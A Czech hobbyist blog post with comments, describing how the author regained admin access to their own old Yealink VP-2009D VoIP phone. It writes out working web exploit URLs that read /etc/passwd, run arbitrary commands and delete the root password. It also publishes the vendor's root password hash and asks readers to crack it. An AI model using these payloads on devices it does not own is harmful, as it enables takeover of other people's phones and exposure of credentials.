Portál AbcLinuxu, 1. května 2025 14:07
Před pár lety jsem na „íbeji“ za levný peníz trhnul jeden Yealink VP-2009D telefon. Vzhledem k tomu, že se snažím protřídit přebytečné věci, zapojil jsem telefon do testovací sítě a koukal, zda-li vše funguje. Nefungovalo, protože sice to má pěkný hardware, ale firmware je naprosto tristní. Tak jsem v telefonu downgradoval firmware z 22.21.0.108 na 22.21.0.99 a najednou to začalo volat (tedy: alespoň echotest co mám na svém asterisku pro tyto účely). Jenže pak mě napadla naprosto idiotská myšlenka: změnit heslo z defaulního 'admin' na něco méně uhodnutelného.
To jsem však neměl dělat! Poté, co jsem si vygeroval heslo s cca 35 znaky a toto heslo zkopíroval do webového rozhraní, se najednou nemoho připojit. Zkouším nové heslo, zkouším admin - nic. Zkouším z hesla postupně uhlodávat jednotlivé znaky (zezadu) - po 1/4 hodině skončím na 10 znacích a taky nic. Přihlásim se sice jako uživatel 'user', ale to mi na moc věcí není. Na internetu najdu, že se u telefonů této značky dá heslo zresetovat dlouhým podržením tlačítka 'ok'. Jenže ani to nefunguje - buď mám blbou verzi firmware, nebo to s tímto konkrétním modelem nefunguje vůbec. A upgradovat firmware normální cestou nelze, protože k tomu potřebuji administrátorské heslo. Uááá!
Ovšem pak jsem si vzpomněl, že se telefony od Yealinku daly hacknout. Sám jsem to nikdy nezkoušel, protože u jiných kousků jsem měl příliš nový firmware, kde už díry byly zalepeny (zřejmě asi zdaleka ne všechny, ale nikdy jsem neměl dost trpělivosti hledat, jak na to. Ovšem tento telefon byla dosti stará verze s pouhými 128MB RAM, takže na ni nejde dát firmware V40 a vyšší. Je tedy dosti šance, že díry jsou ještě otevřené. Přinejmenším má telefon otevřený telnet:
$ telnet yealink Trying 192.168.*.*... Connected to yealink.doma. Escape character is '^]'. Welcome to Linux 2.6.10 on VP-2008 login:
To sice vypadá zajimavě (v pozdějších verzích firmware je telnet už zakázán úplně, anebo se ale musí určitým hackem povolit), ale pokud člověk nezná rootovské heslo, tak je i tak dosti namydlen. Ovšem děr je v telefonu více než dost (viz: 1, 2, 3), takže jednak je možné velmi jednoduše stahovat z telefonu rozličné soubory:
http://{IP}/cgi-bin/cgiServer.exx?download=/etc/passwd
Je ovšem i velmi jednoduše možné spouštět příkazy, viz např.:
http://{IP}/cgi-bin/cgiServer.exx?command=system%28%22dmesg%20>%20/tmp/dmesg%22%29 # některé prohlížeče vzládnou i přímo: # http://{IP}/cgi-bin/cgiServer.exx?command=system("dmesg > /tmp/dmesg")
Takže není problém zrušit heslo u roota:
http://{IP}/cgi-bin/cgiServer.exx?command=system("passwd -d root")
Pak už se bez problému připojíme na telnet:
$ telnet yealink Trying 192.168.*.*... Connected to yealink.doma. Escape character is '^]'. Welcome to Linux 2.6.10 on VP-2008 login: root #
V tuto chvíli pak trvá jen krátce, než zjistíme, že hesla pro webové rozhraní se nacházejí v klasickém htpasswd souboru v /rundata/data/htpasswd. Takže není nic jednoduššího než si bokem vytvořit jiný htpasswd soubor klasickým způsobem (bacha, umí to myslím jen crypt a asi MD5!) a heslo z něj zkopírovat na VP2009D. Vi tam samozřejmě nechybí, takže alespoň maličký "komfort". Nicméně teď kecám, protože existuje ještě daleko jednodušší cesta a sice zkopírovat "tovární" verzi tohoto souboru, která se nachází v /phone/factory/data/htpasswd, takže by mělo fungovat přinejmenším něco jako:
cat /phone/factory/data/htpasswd > /rundata/data/htpasswd
Každopádně telefon se mi podařilo znovu rozběhnout a následně zjistit, že heslo pro webové rozhraní nesmí být delší než 16 znaků. Lahůdka! Vedlejším efektem je, že teď mám přístup k rootovi přes telnet. Samozřejmě jsem si hned nastavil pro roota heslo jiné . Nicméně trošku si zahrávám s myšlenkou (na jejíž realizaci bohužel vůbec není čas), vytvořit opravdu otevřený a opensource firmware pro hardwarové telefony. Největší potíž asi bude s ovladačemi pro jádro, a hlavně asi pro ten jeji DSP...
. No, ale sen je to pěkný, ne? Nebýt závislý na libovůli výrobců a OEM, na jejich chybách a svévolném ukončení podpory...
Mimochodem, původní hash z /etc/passwd pro roota je $1$RTR39Lv9$2dDkMT2ZP4nRmqFC8hKP4/. Nechcete ho někdo cracknout?
Tiskni
Sdílej:
s pouhými 128MB RAM, takže na ni nejde dát firmware V40 a vyššíWTF můj mobil s Windows Mobile/mou distribucí linuxu s Xkama má jen 64MB RAM
$1$RTR39Lv9$2dDkMT2ZP4nRmqFC8hKP4/Pole typu hashe "$1$" by mělo být MD5, na ten jsou rainbow tabulky. Druhé pole by měl být salt a třetí pole bude zakódovanej md5. Akorát nevím utilitu která z toho "2dDkMT2ZP4nRmqFC8hKP4" zase získá zpátky ten hash v hexakódu. Se saltem asi bude u rainbow tabulek menší problém, ale pokud víš jaké původní heslo jsi tam zadával tak to může být nějaká obskurní ořezávaná kombinace toho saltu a tvýho hesla (klidně to nemuselo uříznout poslední znaky, ale naopak ty první) apod.
Největší potíž asi bude s ovladačemi pro jádro, a hlavně asi pro ten jeji DSP.Pokud použiješ stejnou verzi jádra nebo uděláš wrapper, tak bys mohl použít jejich kernel driver bloby. Na zbytek je buildroot/openwrt/ddwrt apod. Nehledě na to že pokud ty jejich kernel bloby používaj jakoukoliv funkci, která je exportovaná jako GPL, tak jsou povinni dodat zdroják (podle GPL).
# cat /proc/cpuinfo Processor : ARM926EJ-Sid(wb) rev 5 (v5l) BogoMIPS : 147.45 Features : swp half thumb fastmult edsp java CPU implementer : 0x41 CPU architecture: 5TEJ CPU variant : 0x0 CPU part : 0x926 CPU revision : 5 Cache type : write-back Cache clean : cp15 c7 ops Cache lockdown : format C Cache format : Harvard I size : 16384 I assoc : 4 I line length : 32 I sets : 128 D size : 8192 D assoc : 4 D line length : 32 D sets : 64 Hardware : VP2009TD_HV01_SV01 Revision : 0000 Serial : 0000000000000000
Pak to tam má v sobě nějaký DSP, který o sobě tvrdí, že se jmenuje DaVinci...
# cat /sys/vendor/mvista/lspinfo/summary Board Name : TI DaVinci - DM644x Processor (little endian) Lsp Name : ti-davinci_evm LSP Revision : 0600990.1 MVL Architecture : arm_v5t_le Patch Level : 785Což znamená buď DM6446 nebo DM6441. Asi to budu muset otevřít a podívat se, co stojí na švábu...
ale pokud víš jaké původní heslo jsi tam zadával tak to může být nějaká obskurní ořezávaná kombinace toho saltu a tvýho hesla
žádné heslo jsem nezadával. jedná se o rootovský heslo, který tam zadal (natvrdo???) výrobce a který považuje za obchodní tajemství...
ISSN 1214-1267, (c) 1999-2007 Stickfish s.r.o.